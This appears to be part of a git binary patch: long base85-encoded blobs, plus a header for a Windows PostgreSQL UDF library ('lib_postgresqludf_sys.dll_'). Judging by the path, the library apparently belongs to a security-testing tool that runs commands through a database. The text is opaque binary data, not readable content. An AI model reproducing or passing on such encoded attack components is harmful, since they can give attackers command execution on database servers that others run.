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 literal 4755 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 diff --git a/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.4/lib_postgresqludf_sys.dll_ index f91123682bcefc5979933654d82d00aadeef036c..22524cb3b161e8081a9a8dc86a05097b8e97c7b1 100644 GIT binary patch literal 4773 zcmV;W5?bvw)3<&Y4mrEs7O)jIbv`0TSD!~yMlO6iAro~JvUW#E3=#-Y#-oVu&}!N; zp9kd?`iXn-u(1Fm;$Eje;KBb-tl$*C}5`rOfk?6~B^PT7bM zknM;|EoT?RgpG$&+>2Ekni_t2)S7HMCBfHs92P~l&^t!a%dI;d;S!S({MFyJ1jKI$ z9BDhu=B2ZdS(ppwo-$V-Sf;sf1RwmeD64O;4-qCU~Y3{QNFDLzcBi?l4w zeiIJxLbMfJs8fvTwl$&D3j(A%4{)DedBN8xMHmD*?k3Ad6<+lp**&cWoDB_UHHJDw zBVQH>lTPV+ln}mKB}+SX90pv85K!)aHm~SmTEW(_6ZGSNTi+~KJ4~p0smfp9w*OO- z31oFJMr9=AU&r}X+jIB|{^f}nEsrPI&Q-C|BO<&)rxyp?X14>06u1sc6bQX$PX?@W zER;j`=MIbO+jB>7@r35)8-r~qxl75(2#cXIjh{KNsYhg!PrdKk-T&t;X85)5jpTq* zY7xLba=l&+MNFn$UJyFkPljP^z`)y^Aj8KQg>ptAgzF(dcsdNxX(q1oX$ghjIT=S) zez~`psu`nFeOo1i#VYmt_v2;pDq?^9ow~{P_H5m<`As4NQ2!ryo-H8^Yyj$PJ9G1S zt*HKlbZJA{tsKgMiDO)`S^yc#_x<1;>CC)#v4x=rQN$;pC{q;ZdCWOsT*PW~7J%w7 zdSTl&BG`9W-Fj5y#55|pk@9K0!!i4DXe>bB(pWN@7sSL-v{bbmc>v_jrGyGE&WV@M zP3gm>oRvPIC3_$`2CdH;LkB#s!teXDCB>GrPqV!=99rcO!PZSYtTXBiz!Gvq7=oV8 zz5i?c6joFWlRNmw-%Tw<(nR!%-B2Q=0j(ILSKh0;&xOmB40uX+(1@U0n#7}WV`2?hgS~~2V49?9o_EXm+ zWLzo~;rqp_n&9Bmkncwj!i2sIht;n3tD#wW8@z!w<>W%D$?;1@fd|c4=~cQ^5qzn# zDo8(UDb6HQ^@maa(pkfpB6TeIchoulFf)E-y-tU&R8T)C=L{VWnoz%#>^h!qd2;yQ z)bpL!C&L?d(#r9JD>2nc7V)H=HAiop%q+%+yn+8@Q2@$HyYJ6j1|G-S@I`ToV8qoE zfLzX(K&?;f$J`=S?#YQ4EmfH8)YdVf3-~ib(7+%sneovCf^}xcd62v|MidkB5dFz0 